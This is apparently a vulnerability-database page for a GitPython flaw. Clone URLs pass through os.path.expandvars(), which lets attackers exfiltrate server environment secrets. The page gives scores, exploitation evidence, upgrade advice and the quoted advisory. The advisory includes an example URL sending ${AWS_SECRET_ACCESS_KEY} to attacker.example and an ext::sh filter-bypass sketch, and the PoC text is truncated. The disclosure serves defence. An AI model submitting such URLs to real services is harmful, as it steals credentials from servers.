VulnerabilityPublished 13 Aug 2026Updated 26 Oct 2026

CVE-2026-67322: GitPython · Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

Affects cf2tfSource GCVE Database

Authoritative record:CVE-2026-67322· High 8.7

Not known to be exploited · CVSS 8.7 High : upgrade to 0.9.2_5 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 4.0 base score

8.7High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 25% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 0.9.2_5

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Attack Vector: Network
Attack Complexity: Low
Attack Requirements: None
Privileges Required: None
User Interaction: None
Vulnerable system confidentiality: High
Vulnerable system integrity: None
Vulnerable system availability: None
Subsequent system confidentiality: None
Subsequent system integrity: None
Subsequent system availability: None

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Attack Requirements: None: The successful attack does not depend on the deployment and execution conditions of the vulnerable system. The attacker can expect to be able to reach the vulnerability and execute the exploit under all or most instances of the vulnerability.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without interaction from any human user, other than the attacker.
Vulnerable system confidentiality: High: There is a total loss of confidentiality, resulting in all information within the Vulnerable System being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Vulnerable system integrity: None: There is no loss of integrity within the Vulnerable System.
Vulnerable system availability: None: There is no impact to availability within the Vulnerable System.
Subsequent system confidentiality: None: There is no loss of confidentiality within the Subsequent System or all confidentiality impact is constrained to the Vulnerable System.
Subsequent system integrity: None: There is no loss of integrity within the Subsequent System or all integrity impact is constrained to the Vulnerable System.
Subsequent system availability: None: There is no impact to availability within the Subsequent System or all availability impact is constrained to the Vulnerable System.

Definitions: FIRST CVSS v4.0 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 1 Aug 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade cf2tf to 0.9.2_5.

Affected software

Product	Affected	Fixed in
Homebrewcf2tf`pkg:brew/cf2tf`Other threats	Affected >=0.6.1 <0.9.2_5	Fixed in 0.9.2_5

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `Repo.clone_from()` passes the caller-supplied remote URL through `Git.polish_url()`, which on every non-Cygwin platform calls `os.path.expandvars()` on the URL before handing it to `git clone`. An attacker who controls the URL argument — the documented use case for `clone_from()` in "import repository from URL" features of CI servers, git-hosting mirrors, and dependency scanners — can embed `$NAME` / `${NAME}` tokens that are expanded server-side to the values of the hosting process's environment variables. The resulting URL, now containing the secret, is transmitted over the network to the attacker-named host. This crosses the trust boundary between an untrusted remote URL and the server's process environment, disclosing secrets such as `AWS_SECRET_ACCESS_KEY` or `GITHUB_TOKEN` with no precondition beyond the ability to submit a clone URL. ### Details **Affected versions:** `gitpython` (PyPI) — all releases up to and including `3.1.50` (latest at time of reporting); confirmed present on the `main` branch. `Git.polish_url()` unconditionally applies environment-variable expansion to its input on the non-Cygwin branch: `git/cmd.py` (v3.1.50), lines 907–925: ```python @classmethod def polish_url(cls, url: str, is_cygwin: Union[None, bool] = None) -> PathLike: """Remove any backslashes from URLs to be written in config files. ... """ if is_cygwin is None: is_cygwin = cls.is_cygwin() if is_cygwin: url = cygpath(url) else: url = os.path.expandvars(url) # <-- line 921 if url.startswith("~"): url = os.path.expanduser(url) url = url.replace("\\\\", "\\").replace("\\", "/") return url ``` `Repo._clone()` — reached from the public `Repo.clone_from()` (`git/repo/base.py:1520`) and `Repo.clone()` — runs the unsafe-protocol check on the **raw** URL and then passes the **polished** (post-expansion) URL to the `git clone` subprocess: `git/repo/base.py` (v3.1.50), lines 1407–1418: ```python if not allow_unsafe_protocols: Git.check_unsafe_protocols(url) if not allow_unsafe_options: Git.check_unsafe_options(options=list(kwargs.keys()), unsafe_options=cls.unsafe_git_clone_options) if not allow_unsafe_options and multi: Git.check_unsafe_options(options=multi, unsafe_options=cls.unsafe_git_clone_options) proc = git.clone( multi, "--", Git.polish_url(url), # <-- line 1417: expanded URL sent to `git clone` clone_path, ... ) ``` Because `os.path.expandvars()` on POSIX substitutes `$NAME` and `${NAME}` with `os.environ[NAME]` when set (and on Windows additionally `%NAME%`), an attacker-supplied URL such as: ``` https://attacker.example/steal/${AWS_SECRET_ACCESS_KEY}/repo.git ``` is rewritten server-side to embed the literal secret value in the path component, and `git clone` then issues an HTTP(S) request (and DNS lookup, if the token is placed in the host label) carrying that value to `attacker.example`. The clone itself will typically fail, but the secret has already left the server by that point. `polish_url()` was written as a local-path normalisation helper (Cygwin path conversion, `~` expansion, backslash fixing) and is applied indiscriminately to remote URLs. There is no scheme check, no `expand_vars=False` opt-out for the clone URL, and no documentation that the URL undergoes environment expansion — the `clone_from` docstring describes `url` only as a "Valid git url". By contrast, the maintainers already flag env-var expansion as a security concern for the *local repository path* argument: `Repo.__init__` emits a deprecation warning ("The use of environment variables in paths is deprecated for security reasons", `git/repo/base.py:226–231`) and offers `expand_vars=False`. The same treatment is missing for the network-bound clone URL. **Secondary consequence (unsafe-protocol filter bypass).** Because `check_unsafe_protocols()` runs on the *pre-expansion* URL (line 1408) but the *post-expansion* URL is what reaches `git`, an attacker who additionally controls any environment variable in the server process could set e.g. `X=ext::sh -c '...'` and submit `url="$X"`; the raw string `$X` passes the `ext::` filter, then expands to an `ext::` remote-helper transport that `git` will execute. This requires a second precondition (env-var write) and is noted as an aggravating factor rather than a separate vulnerability. ### PoC Tested against `gitpython==3.1.50` on Linux with Python 3 and `git` on `PATH`. ```bash python3 -m venv /tmp/gp-venv /tmp/gp-venv/bin/pip install gitpython==3.1.50 /tmp/gp-venv/bin/python poc.py ``` `poc.py`: ```python #!/usr/bin/env python3 """ PoC: environment-variable exfiltration via Repo.clone_from() URL. Demonstrates that an attacker-controlled `url` argument to Repo.clone_from() is passed through os.path.expandvars() before being given to `git clone`, so `$NAME` tokens in the URL are replaced with the server process's environment-variable values and tra

References

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